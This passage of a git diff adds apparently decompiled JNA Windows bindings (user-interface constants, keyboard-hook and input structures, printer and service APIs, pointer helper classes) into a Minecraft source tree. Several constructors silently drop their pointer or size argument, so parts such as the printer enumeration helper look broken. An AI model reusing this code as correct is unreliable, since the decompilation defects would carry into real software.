+  public static final int GWL_STYLE = -16;
+  public static final int GWL_WNDPROC = -4;
+  
+  public static class GUITHREADINFO extends Structure {
+    public int cbSize = size();
+    public int flags;
+    public WinDef.HWND hwndActive;
+    public WinDef.HWND hwndFocus;
+    public WinDef.HWND hwndCapture;
+    public WinDef.HWND hwndMenuOwner;
+    public WinDef.HWND hwndMoveSize;
+    public WinDef.HWND hwndCaret;
+    public WinDef.RECT rcCaret;
+    
+    public GUITHREADINFO() {} }
+  
+  public static class WINDOWINFO extends Structure { public int cbSize = size();
+    
+
+    public WinDef.RECT rcWindow;
+    
+
+    public WinDef.RECT rcClient;
+    
+
+    public int dwStyle;
+    
+
+    public int dwExStyle;
+    
+
+    public int dwWindowStatus;
+    
+    public int cxWindowBorders;
+    
+    public int cyWindowBorders;
+    
+    public short atomWindowType;
+    
+    public short wCreatorVersion;
+    
+
+    public WINDOWINFO() {}
+  }
+  
+
+  public static class POINT
+    extends Structure
+  {
+    public int x;
+    
+    public int y;
+    
+
+    public POINT() {}
+    
+
+    public POINT(int x, int y)
+    {
+      this.x = x;
+      this.y = y;
+    }
+  }
+  
+  public static class MSG extends Structure {
+    public WinDef.HWND hWnd;
+    public int message;
+    public WinDef.WPARAM wParam;
+    public WinDef.LPARAM lParam;
+    public int time;
+    public WinUser.POINT pt;
+    
+    public MSG() {}
+  }
+  
+  public static class FLASHWINFO extends Structure { public int cbSize;
+    public WinNT.HANDLE hWnd;
+    public int dwFlags;
+    public int uCount;
+    public int dwTimeout;
+    
+    public FLASHWINFO() {}
+  }
+  
+  public static abstract interface WNDENUMPROC extends StdCallLibrary.StdCallCallback { public abstract boolean callback(WinDef.HWND paramHWND, Pointer paramPointer);
+  }
+  
+  public static abstract interface LowLevelKeyboardProc extends WinUser.HOOKPROC { public abstract WinDef.LRESULT callback(int paramInt, WinDef.WPARAM paramWPARAM, WinUser.KBDLLHOOKSTRUCT paramKBDLLHOOKSTRUCT);
+  }
+  
+  public static class SIZE extends Structure { public int cx;
+    public int cy;
+    
+    public SIZE() {}
+    
+    public SIZE(int w, int h) { cx = w;
+      cy = h;
+    }
+  }
+  
+
+
+
+  public static class BLENDFUNCTION
+    extends Structure
+  {
+    public byte BlendOp = 0;
+    public byte BlendFlags = 0;
+    
+    public byte SourceConstantAlpha;
+    
+    public byte AlphaFormat;
+    
+
+    public BLENDFUNCTION() {}
+  }
+  
+
+  public static final int GWL_HINSTANCE = -6;
+  
+  public static final int GWL_ID = -12;
+  
+  public static final int GWL_USERDATA = -21;
+  
+  public static final int DWL_DLGPROC = 4;
+  
+  public static final int DWL_MSGRESULT = 0;
+  
+  public static final int DWL_USER = 8;
+  
+  public static final int WS_MAXIMIZE = 16777216;
+  
+  public static final int WS_VISIBLE = 268435456;
+  
+  public static final int WS_MINIMIZE = 536870912;
+  
+  public static final int WS_CHILD = 1073741824;
+  
+  public static final int WS_POPUP = Integer.MIN_VALUE;
+  
+  public static final int WS_EX_COMPOSITED = 536870912;
+  
+  public static final int WS_EX_LAYERED = 524288;
+  
+  public static final int WS_EX_TRANSPARENT = 32;
+  
+  public static final int LWA_COLORKEY = 1;
+  
+  public static final int LWA_ALPHA = 2;
+  
+  public static final int ULW_COLORKEY = 1;
+  
+  public static final int ULW_ALPHA = 2;
+  
+  public static final int ULW_OPAQUE = 4;
+  
+  public static final int AC_SRC_OVER = 0;
+  
+  public static final int AC_SRC_ALPHA = 1;
+  
+  public static final int AC_SRC_NO_PREMULT_ALPHA = 1;
+  
+  public static final int AC_SRC_NO_ALPHA = 2;
+  
+  public static final int VK_SHIFT = 16;
+  
+  public static final int VK_LSHIFT = 160;
+  
+  public static final int VK_RSHIFT = 161;
+  
+  public static final int VK_CONTROL = 17;
+  
+  public static final int VK_LCONTROL = 162;
+  
+  public static final int VK_RCONTROL = 163;
+  
+  public static final int VK_MENU = 18;
+  
+  public static final int VK_LMENU = 164;
+  
+  public static final int VK_RMENU = 165;
+  
+  public static final int MOD_ALT = 1;
+  
+  public static final int MOD_CONTROL = 2;
+  
+  public static final int MOD_NOREPEAT = 16384;
+  
+  public static final int MOD_SHIFT = 4;
+  
+  public static final int MOD_WIN = 8;
+  
+  public static final int WH_KEYBOARD = 2;
+  
+  public static final int WH_MOUSE = 7;
+  
+  public static final int WH_KEYBOARD_LL = 13;
+  
+  public static final int WH_MOUSE_LL = 14;
+  
+  public static final int WM_PAINT = 15;
+  
+  public static final int WM_CLOSE = 16;
+  
+  public static final int WM_QUIT = 18;
+  
+  public static final int WM_SHOWWINDOW = 24;
+  
+  public static final int WM_DRAWITEM = 43;
+  
+  public static final int WM_KEYDOWN = 256;
+  
+  public static final int WM_CHAR = 258;
+  
+  public static final int WM_SYSCOMMAND = 274;
+  
+  public static final int WM_MDIMAXIMIZE = 549;
+  
+  public static final int WM_HOTKEY = 786;
+  
+  public static final int WM_KEYUP = 257;
+  
+  public static final int WM_SYSKEYDOWN = 260;
+  
+  public static final int WM_SYSKEYUP = 261;
+  
+  public static final int SM_CXSCREEN = 0;
+  
+  public static final int SM_CYSCREEN = 1;
+  
+  public static final int SM_CXVSCROLL = 2;
+  
+  public static final int SM_CYHSCROLL = 3;
+  
+  public static final int SM_CYCAPTION = 4;
+  
+  public static final int SM_CXBORDER = 5;
+  
+  public static final int SM_CYBORDER = 6;
+  
+  public static final int SM_CXDLGFRAME = 7;
+  
+  public static final int SM_CYDLGFRAME = 8;
+  
+  public static final int SM_CYVTHUMB = 9;
+  
+  public static final int SM_CXHTHUMB = 10;
+  
+  public static final int SM_CXICON = 11;
+  
+  public static final int SM_CYICON = 12;
+  
+  public static final int SM_CXCURSOR = 13;
+  
+  public static final int SM_CYCURSOR = 14;
+  
+  public static final int SM_CYMENU = 15;
+  
+  public static final int SM_CXFULLSCREEN = 16;
+  
+  public static final int SM_CYFULLSCREEN = 17;
+  
+  public static final int SM_CYKANJIWINDOW = 18;
+  
+  public static final int SM_MOUSEPRESENT = 19;
+  
+  public static final int SM_CYVSCROLL = 20;
+  
+  public static final int SM_CXHSCROLL = 21;
+  
+  public static final int SM_DEBUG = 22;
+  
+  public static final int SM_SWAPBUTTON = 23;
+  public static final int SM_RESERVED1 = 24;
+  public static final int SM_RESERVED2 = 25;
+  public static final int SM_RESERVED3 = 26;
+  public static final int SM_RESERVED4 = 27;
+  public static final int SM_CXMIN = 28;
+  public static final int SM_CYMIN = 29;
+  public static final int SM_CXSIZE = 30;
+  public static final int SM_CYSIZE = 31;
+  public static final int SM_CXFRAME = 32;
+  public static final int SM_CYFRAME = 33;
+  public static final int SM_CXMINTRACK = 34;
+  public static final int SM_CYMINTRACK = 35;
+  public static final int SM_CXDOUBLECLK = 36;
+  public static final int SM_CYDOUBLECLK = 37;
+  public static final int SM_CXICONSPACING = 38;
+  public static final int SM_CYICONSPACING = 39;
+  public static final int SM_MENUDROPALIGNMENT = 40;
+  public static final int SM_PENWINDOWS = 41;
+  public static final int SM_DBCSENABLED = 42;
+  public static final int SM_CMOUSEBUTTONS = 43;
+  public static final int SM_CXFIXEDFRAME = 7;
+  public static final int SM_CYFIXEDFRAME = 8;
+  public static final int SM_CXSIZEFRAME = 32;
+  public static final int SM_CYSIZEFRAME = 33;
+  public static final int SM_SECURE = 44;
+  public static final int SM_CXEDGE = 45;
+  public static final int SM_CYEDGE = 46;
+  public static final int SM_CXMINSPACING = 47;
+  public static final int SM_CYMINSPACING = 48;
+  public static final int SM_CXSMICON = 49;
+  public static final int SM_CYSMICON = 50;
+  public static final int SM_CYSMCAPTION = 51;
+  public static final int SM_CXSMSIZE = 52;
+  public static final int SM_CYSMSIZE = 53;
+  public static final int SM_CXMENUSIZE = 54;
+  public static final int SM_CYMENUSIZE = 55;
+  public static final int SM_ARRANGE = 56;
+  public static final int SM_CXMINIMIZED = 57;
+  public static final int SM_CYMINIMIZED = 58;
+  public static final int SM_CXMAXTRACK = 59;
+  public static final int SM_CYMAXTRACK = 60;
+  public static final int SM_CXMAXIMIZED = 61;
+  public static final int SM_CYMAXIMIZED = 62;
+  public static final int SM_NETWORK = 63;
+  public static final int SM_CLEANBOOT = 67;
+  public static final int SM_CXDRAG = 68;
+  public static final int SM_CYDRAG = 69;
+  public static final int SM_SHOWSOUNDS = 70;
+  public static final int SM_CXMENUCHECK = 71;
+  public static final int SM_CYMENUCHECK = 72;
+  public static final int SM_SLOWMACHINE = 73;
+  public static final int SM_MIDEASTENABLED = 74;
+  public static final int SM_MOUSEWHEELPRESENT = 75;
+  public static final int SM_XVIRTUALSCREEN = 76;
+  public static final int SM_YVIRTUALSCREEN = 77;
+  public static final int SM_CXVIRTUALSCREEN = 78;
+  public static final int SM_CYVIRTUALSCREEN = 79;
+  public static final int SM_CMONITORS = 80;
+  public static final int SM_SAMEDISPLAYFORMAT = 81;
+  public static final int SM_IMMENABLED = 82;
+  public static final int SM_CXFOCUSBORDER = 83;
+  public static final int SM_CYFOCUSBORDER = 84;
+  public static final int SM_TABLETPC = 86;
+  public static final int SM_MEDIACENTER = 87;
+  public static final int SM_STARTER = 88;
+  public static final int SM_SERVERR2 = 89;
+  public static final int SM_MOUSEHORIZONTALWHEELPRESENT = 91;
+  public static final int SM_CXPADDEDBORDER = 92;
+  public static final int SM_REMOTESESSION = 4096;
+  public static final int SM_SHUTTINGDOWN = 8192;
+  public static final int SM_REMOTECONTROL = 8193;
+  public static final int SM_CARETBLINKINGENABLED = 8194;
+  public static final int SW_HIDE = 0;
+  public static final int SW_SHOWNORMAL = 1;
+  public static final int SW_NORMAL = 1;
+  public static final int SW_SHOWMINIMIZED = 2;
+  public static final int SW_SHOWMAXIMIZED = 3;
+  public static final int SW_MAXIMIZE = 3;
+  public static final int SW_SHOWNOACTIVATE = 4;
+  public static final int SW_SHOW = 5;
+  public static final int SW_MINIMIZE = 6;
+  public static final int SW_SHOWMINNOACTIVE = 7;
+  public static final int SW_SHOWNA = 8;
+  public static final int SW_RESTORE = 9;
+  public static final int SW_SHOWDEFAULT = 10;
+  public static final int SW_FORCEMINIMIZE = 11;
+  public static final int SW_MAX = 11;
+  public static final int RDW_INVALIDATE = 1;
+  public static final int RDW_INTERNALPAINT = 2;
+  public static final int RDW_ERASE = 4;
+  public static final int RDW_VALIDATE = 8;
+  public static final int RDW_NOINTERNALPAINT = 16;
+  public static final int RDW_NOERASE = 32;
+  public static final int RDW_NOCHILDREN = 64;
+  public static final int RDW_ALLCHILDREN = 128;
+  public static final int RDW_UPDATENOW = 256;
+  public static final int RDW_ERASENOW = 512;
+  public static final int RDW_FRAME = 1024;
+  public static final int RDW_NOFRAME = 2048;
+  public static final int GW_HWNDFIRST = 0;
+  public static final int GW_HWNDLAST = 1;
+  public static final int GW_HWNDNEXT = 2;
+  public static final int GW_HWNDPREV = 3;
+  public static final int GW_OWNER = 4;
+  public static final int GW_CHILD = 5;
+  public static final int GW_ENABLEDPOPUP = 6;
+  public static final int SWP_NOZORDER = 4;
+  public static final int SC_MINIMIZE = 61472;
+  public static final int SC_MAXIMIZE = 61488;
+  public static class HHOOK
+    extends WinNT.HANDLE
+  {
+    public HHOOK() {}
+  }
+  
+  public static abstract interface HOOKPROC
+    extends StdCallLibrary.StdCallCallback
+  {}
+  
+  public static class KBDLLHOOKSTRUCT
+    extends Structure
+  {
+    public int vkCode;
+    public int scanCode;
+    public int flags;
+    public int time;
+    public BaseTSD.ULONG_PTR dwExtraInfo;
+    
+    public KBDLLHOOKSTRUCT() {}
+  }
+  
+  public static class HARDWAREINPUT
+    extends Structure
+  {
+    public WinDef.DWORD uMsg;
+    public WinDef.WORD wParamL;
+    public WinDef.WORD wParamH;
+    public HARDWAREINPUT() {}
+    
+    public static class ByReference
+      extends WinUser.HARDWAREINPUT
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+
+
+    public HARDWAREINPUT(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+
+  public static class INPUT
+    extends Structure
+  {
+    public static final int INPUT_MOUSE = 0;
+    
+    public static final int INPUT_KEYBOARD = 1;
+    public static final int INPUT_HARDWARE = 2;
+    public WinDef.DWORD type;
+    public INPUT() {}
+    
+    public static class ByReference
+      extends WinUser.INPUT
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+
+
+    public INPUT(Pointer memory)
+    {
+      super();
+      read();
+    }
+    
+
+    public INPUT_UNION input = new INPUT_UNION();
+    
+    public static class INPUT_UNION extends Union { public WinUser.MOUSEINPUT mi;
+      public WinUser.KEYBDINPUT ki;
+      public WinUser.HARDWAREINPUT hi;
+      
+      public INPUT_UNION() {}
+      
+      public INPUT_UNION(Pointer memory) { super();
+        read();
+      }
+    }
+  }
+  
+
+
+  public static class KEYBDINPUT
+    extends Structure
+  {
+    public static final int KEYEVENTF_EXTENDEDKEY = 1;
+    
+    public static final int KEYEVENTF_KEYUP = 2;
+    
+    public static final int KEYEVENTF_UNICODE = 4;
+    
+    public static final int KEYEVENTF_SCANCODE = 8;
+    
+    public WinDef.WORD wVk;
+    
+    public WinDef.WORD wScan;
+    
+    public WinDef.DWORD dwFlags;
+    
+    public WinDef.DWORD time;
+    
+    public BaseTSD.ULONG_PTR dwExtraInfo;
+    
+    public KEYBDINPUT() {}
+    
+
+    public static class ByReference
+      extends WinUser.KEYBDINPUT
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+
+
+    public KEYBDINPUT(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+
+
+
+  public static class MOUSEINPUT
+    extends Structure
+  {
+    public WinDef.LONG dx;
+    
+
+
+    public WinDef.LONG dy;
+    
+
+    public WinDef.DWORD mouseData;
+    
+
+    public WinDef.DWORD dwFlags;
+    
+
+    public WinDef.DWORD time;
+    
+
+    public BaseTSD.ULONG_PTR dwExtraInfo;
+    
+
+    public MOUSEINPUT() {}
+    
+
+
+    public static class ByReference
+      extends WinUser.MOUSEINPUT
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+
+
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+
+
+    public MOUSEINPUT(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Winioctl.java b/src/minecraft/com/sun/jna/platform/win32/Winioctl.java
new file mode 100644
index 0000000..a4a017c
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Winioctl.java
@@ -0,0 +1,49 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+
+
+
+
+public abstract interface Winioctl
+  extends StdCallLibrary
+{
+  public static final int IOCTL_STORAGE_GET_DEVICE_NUMBER = 2953344;
+  
+  public static class STORAGE_DEVICE_NUMBER
+    extends Structure
+  {
+    public int DeviceType;
+    public int DeviceNumber;
+    public int PartitionNumber;
+    public STORAGE_DEVICE_NUMBER() {}
+    
+    public static class ByReference
+      extends Winioctl.STORAGE_DEVICE_NUMBER
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+
+
+    public STORAGE_DEVICE_NUMBER(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Winspool.java b/src/minecraft/com/sun/jna/platform/win32/Winspool.java
new file mode 100644
index 0000000..4e6de23
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Winspool.java
@@ -0,0 +1,113 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Memory;
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Winspool
+  extends StdCallLibrary
+{
+  public static final Winspool INSTANCE = (Winspool)Native.loadLibrary("Winspool.drv", Winspool.class, W32APIOptions.UNICODE_OPTIONS);
+  
+
+  public static final int PRINTER_ENUM_DEFAULT = 1;
+  
+  public static final int PRINTER_ENUM_LOCAL = 2;
+  
+  public static final int PRINTER_ENUM_CONNECTIONS = 4;
+  
+  public static final int PRINTER_ENUM_FAVORITE = 4;
+  
+  public static final int PRINTER_ENUM_NAME = 8;
+  
+  public static final int PRINTER_ENUM_REMOTE = 16;
+  
+  public static final int PRINTER_ENUM_SHARED = 32;
+  
+  public static final int PRINTER_ENUM_NETWORK = 64;
+  
+  public static final int PRINTER_ENUM_EXPAND = 16384;
+  
+  public static final int PRINTER_ENUM_CONTAINER = 32768;
+  
+  public static final int PRINTER_ENUM_ICONMASK = 16711680;
+  
+  public static final int PRINTER_ENUM_ICON1 = 65536;
+  
+  public static final int PRINTER_ENUM_ICON2 = 131072;
+  
+  public static final int PRINTER_ENUM_ICON3 = 262144;
+  
+  public static final int PRINTER_ENUM_ICON4 = 524288;
+  
+  public static final int PRINTER_ENUM_ICON5 = 1048576;
+  
+  public static final int PRINTER_ENUM_ICON6 = 2097152;
+  
+  public static final int PRINTER_ENUM_ICON7 = 4194304;
+  
+  public static final int PRINTER_ENUM_ICON8 = 8388608;
+  
+  public static final int PRINTER_ENUM_HIDE = 16777216;
+  
+
+  public abstract boolean EnumPrinters(int paramInt1, String paramString, int paramInt2, Pointer paramPointer, int paramInt3, IntByReference paramIntByReference1, IntByReference paramIntByReference2);
+  
+
+  public static class PRINTER_INFO_1
+    extends Structure
+  {
+    public int Flags;
+    
+    public String pDescription;
+    
+    public String pName;
+    
+    public String pComment;
+    
+
+    public PRINTER_INFO_1() {}
+    
+
+    public PRINTER_INFO_1(int size)
+    {
+      super();
+    }
+  }
+  
+  public static class PRINTER_INFO_4 extends Structure
+  {
+    public String pPrinterName;
+    public String pServerName;
+    public WinDef.DWORD Attributes;
+    
+    public PRINTER_INFO_4() {}
+    
+    public PRINTER_INFO_4(int size)
+    {
+      super();
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WinspoolUtil.java b/src/minecraft/com/sun/jna/platform/win32/WinspoolUtil.java
new file mode 100644
index 0000000..8aa322e
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/WinspoolUtil.java
@@ -0,0 +1,60 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.ptr.IntByReference;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class WinspoolUtil
+{
+  public WinspoolUtil() {}
+  
+  public static Winspool.PRINTER_INFO_1[] getPrinterInfo1()
+  {
+    IntByReference pcbNeeded = new IntByReference();
+    IntByReference pcReturned = new IntByReference();
+    Winspool.INSTANCE.EnumPrinters(2, null, 1, null, 0, pcbNeeded, pcReturned);
+    
+    if (pcbNeeded.getValue() <= 0) {
+      return new Winspool.PRINTER_INFO_1[0];
+    }
+    
+    Winspool.PRINTER_INFO_1 pPrinterEnum = new Winspool.PRINTER_INFO_1(pcbNeeded.getValue());
+    if (!Winspool.INSTANCE.EnumPrinters(2, null, 1, pPrinterEnum.getPointer(), pcbNeeded.getValue(), pcbNeeded, pcReturned))
+    {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    
+    return (Winspool.PRINTER_INFO_1[])pPrinterEnum.toArray(pcReturned.getValue());
+  }
+  
+  public static Winspool.PRINTER_INFO_4[] getPrinterInfo4() {
+    IntByReference pcbNeeded = new IntByReference();
+    IntByReference pcReturned = new IntByReference();
+    Winspool.INSTANCE.EnumPrinters(2, null, 4, null, 0, pcbNeeded, pcReturned);
+    
+    if (pcbNeeded.getValue() <= 0) {
+      return new Winspool.PRINTER_INFO_4[0];
+    }
+    
+    Winspool.PRINTER_INFO_4 pPrinterEnum = new Winspool.PRINTER_INFO_4(pcbNeeded.getValue());
+    if (!Winspool.INSTANCE.EnumPrinters(2, null, 4, pPrinterEnum.getPointer(), pcbNeeded.getValue(), pcbNeeded, pcReturned))
+    {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    
+    return (Winspool.PRINTER_INFO_4[])pPrinterEnum.toArray(pcReturned.getValue());
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Winsvc.java b/src/minecraft/com/sun/jna/platform/win32/Winsvc.java
new file mode 100644
index 0000000..05d8901
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Winsvc.java
@@ -0,0 +1,205 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Memory;
+import com.sun.jna.Structure;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Winsvc
+  extends StdCallLibrary
+{
+  public static final int SERVICE_RUNS_IN_SYSTEM_PROCESS = 1;
+  public static final int SC_MANAGER_CONNECT = 1;
+  public static final int SC_MANAGER_CREATE_SERVICE = 2;
+  public static final int SC_MANAGER_ENUMERATE_SERVICE = 4;
+  public static final int SC_MANAGER_LOCK = 8;
+  public static final int SC_MANAGER_QUERY_LOCK_STATUS = 16;
+  public static final int SC_MANAGER_MODIFY_BOOT_CONFIG = 32;
+  public static final int SC_MANAGER_ALL_ACCESS = 983103;
+  public static final int SERVICE_QUERY_CONFIG = 1;
+  public static final int SERVICE_CHANGE_CONFIG = 2;
+  public static final int SERVICE_QUERY_STATUS = 4;
+  public static final int SERVICE_ENUMERATE_DEPENDENTS = 8;
+  public static final int SERVICE_START = 16;
+  public static final int SERVICE_STOP = 32;
+  public static final int SERVICE_PAUSE_CONTINUE = 64;
+  public static final int SERVICE_INTERROGATE = 128;
+  public static final int SERVICE_USER_DEFINED_CONTROL = 256;
+  public static final int SERVICE_ALL_ACCESS = 983551;
+  public static final int SERVICE_CONTROL_STOP = 1;
+  public static final int SERVICE_CONTROL_PAUSE = 2;
+  public static final int SERVICE_CONTROL_CONTINUE = 3;
+  public static final int SERVICE_CONTROL_INTERROGATE = 4;
+  public static final int SERVICE_CONTROL_PARAMCHANGE = 6;
+  public static final int SERVICE_CONTROL_NETBINDADD = 7;
+  public static final int SERVICE_CONTROL_NETBINDREMOVE = 8;
+  public static final int SERVICE_CONTROL_NETBINDENABLE = 9;
+  public static final int SERVICE_CONTROL_NETBINDDISABLE = 10;
+  public static final int SERVICE_STOPPED = 1;
+  public static final int SERVICE_START_PENDING = 2;
+  public static final int SERVICE_STOP_PENDING = 3;
+  public static final int SERVICE_RUNNING = 4;
+  public static final int SERVICE_CONTINUE_PENDING = 5;
+  public static final int SERVICE_PAUSE_PENDING = 6;
+  public static final int SERVICE_PAUSED = 7;
+  public static final int SERVICE_ACCEPT_STOP = 1;
+  public static final int SERVICE_ACCEPT_PAUSE_CONTINUE = 2;
+  public static final int SERVICE_ACCEPT_SHUTDOWN = 4;
+  public static final int SERVICE_ACCEPT_PARAMCHANGE = 8;
+  public static final int SERVICE_ACCEPT_NETBINDCHANGE = 16;
+  public static final int SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 32;
+  public static final int SERVICE_ACCEPT_POWEREVENT = 64;
+  public static final int SERVICE_ACCEPT_SESSIONCHANGE = 128;
+  public static final int SERVICE_ACCEPT_PRESHUTDOWN = 256;
+  public static final int SERVICE_ACCEPT_TIMECHANGE = 512;
+  public static final int SERVICE_ACCEPT_TRIGGEREVENT = 1024;
+  
+  public static abstract class SC_STATUS_TYPE
+  {
+    public static final int SC_STATUS_PROCESS_INFO = 0;
+    
+    public SC_STATUS_TYPE() {}
+  }
+  
+  public static class SC_HANDLE
+    extends WinNT.HANDLE
+  {
+    public SC_HANDLE() {}
+  }
+  
+  public static class SERVICE_STATUS_PROCESS
+    extends Structure
+  {
+    public int dwServiceType;
+    public int dwCurrentState;
+    public int dwControlsAccepted;
+    public int dwWin32ExitCode;
+    public int dwServiceSpecificExitCode;
+    public int dwCheckPoint;
+    public int dwWaitHint;
+    public int dwProcessId;
+    public int dwServiceFlags;
+    
+    public SERVICE_STATUS_PROCESS() {}
+    
+    public SERVICE_STATUS_PROCESS(int size)
+    {
+      super();
+    }
+  }
+  
+  public static class SERVICE_STATUS
+    extends Structure
+  {
+    public int dwServiceType;
+    public int dwCurrentState;
+    public int dwControlsAccepted;
+    public int dwWin32ExitCode;
+    public int dwServiceSpecificExitCode;
+    public int dwCheckPoint;
+    public int dwWaitHint;
+    
+    public SERVICE_STATUS() {}
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/wince/CoreDLL.java b/src/minecraft/com/sun/jna/platform/wince/CoreDLL.java
new file mode 100644
index 0000000..e20f654
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/wince/CoreDLL.java
@@ -0,0 +1,26 @@
+package com.sun.jna.platform.wince;
+
+import com.sun.jna.Native;
+import com.sun.jna.platform.win32.WinNT;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface CoreDLL
+  extends WinNT
+{
+  public static final CoreDLL INSTANCE = (CoreDLL)Native.loadLibrary("coredll", CoreDLL.class, W32APIOptions.UNICODE_OPTIONS);
+}
diff --git a/src/minecraft/com/sun/jna/ptr/ByReference.java b/src/minecraft/com/sun/jna/ptr/ByReference.java
new file mode 100644
index 0000000..5a06bff
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ptr/ByReference.java
@@ -0,0 +1,35 @@
+package com.sun.jna.ptr;
+
+import com.sun.jna.Memory;
+import com.sun.jna.PointerType;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ByReference
+  extends PointerType
+{
+  protected ByReference(int dataSize)
+  {
+    setPointer(new Memory(dataSize));
+  }
+}
diff --git a/src/minecraft/com/sun/jna/ptr/ByteByReference.java b/src/minecraft/com/sun/jna/ptr/ByteByReference.java
new file mode 100644
index 0000000..5fd7435
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ptr/ByteByReference.java
@@ -0,0 +1,33 @@
+package com.sun.jna.ptr;
+
+import com.sun.jna.Pointer;
+
+
+
+
+
+
+
+
+
+public class ByteByReference
+  extends ByReference
+{
+  public ByteByReference()
+  {
+    this((byte)0);
+  }
+  
+  public ByteByReference(byte value) {
+    super(1);
+    setValue(value);
+  }
+  
+  public void setValue(byte value) {
+    getPointer().setByte(0L, value);
+  }
+  
+  public byte getValue() {
+    return getPointer().getByte(0L);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/ptr/DoubleByReference.java b/src/minecraft/com/sun/jna/ptr/DoubleByReference.java
new file mode 100644
index 0000000..5fb5dba
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ptr/DoubleByReference.java
@@ -0,0 +1,32 @@
+package com.sun.jna.ptr;
+
+import com.sun.jna.Pointer;
+
+
+
+
+
+
+
+
+public class DoubleByReference
+  extends ByReference
+{
+  public DoubleByReference()
+  {
+    this(0.0D);
+  }
+  
+  public DoubleByReference(double value) {
+    super(8);
+    setValue(value);
+  }
+  
+  public void setValue(double value) {
+    getPointer().setDouble(0L, value);
+  }
+  
+  public double getValue() {
+    return getPointer().getDouble(0L);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/ptr/FloatByReference.java b/src/minecraft/com/sun/jna/ptr/FloatByReference.java
new file mode 100644
index 0000000..ffff859
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ptr/FloatByReference.java
@@ -0,0 +1,32 @@
+package com.sun.jna.ptr;
+
+import com.sun.jna.Pointer;
+
+
+
+
+
+
+
+
+public class FloatByReference
+  extends ByReference
+{
+  public FloatByReference()
+  {
+    this(0.0F);
+  }
+  
+  public FloatByReference(float value) {
+    super(4);
+    setValue(value);
+  }
+  
+  public void setValue(float value) {
+    getPointer().setFloat(0L, value);
+  }
+  
+  public float getValue() {
+    return getPointer().getFloat(0L);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/ptr/IntByReference.java b/src/minecraft/com/sun/jna/ptr/IntByReference.java
new file mode 100644
index 0000000..aa90fb2
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ptr/IntByReference.java
@@ -0,0 +1,33 @@
+package com.sun.jna.ptr;
+
+import com.sun.jna.Pointer;
+
+
+
+
+
+
+
+
+
+public class IntByReference
+  extends ByReference
+{
+  public IntByReference()
+  {
+    this(0);
+  }
+  
+  public IntByReference(int value) {
+    super(4);
+    setValue(value);
+  }
+  
+  public void setValue(int value) {
+    getPointer().setInt(0L, value);
+  }
+  
+  public int getValue() {
+    return getPointer().getInt(0L);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/ptr/LongByReference.java b/src/minecraft/com/sun/jna/ptr/LongByReference.java
new file mode 100644
index 0000000..f45c62f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ptr/LongByReference.java
@@ -0,0 +1,32 @@
+package com.sun.jna.ptr;
+
+import com.sun.jna.Pointer;
+
+
+
+
+
+
+
+
+public class LongByReference
+  extends ByReference
+{
+  public LongByReference()
+  {
+    this(0L);
+  }
+  
+  public LongByReference(long value) {
+    super(8);
+    setValue(value);
+  }
+  
+  public void setValue(long value) {
+    getPointer().setLong(0L, value);
+  }
+  
+  public long getValue() {
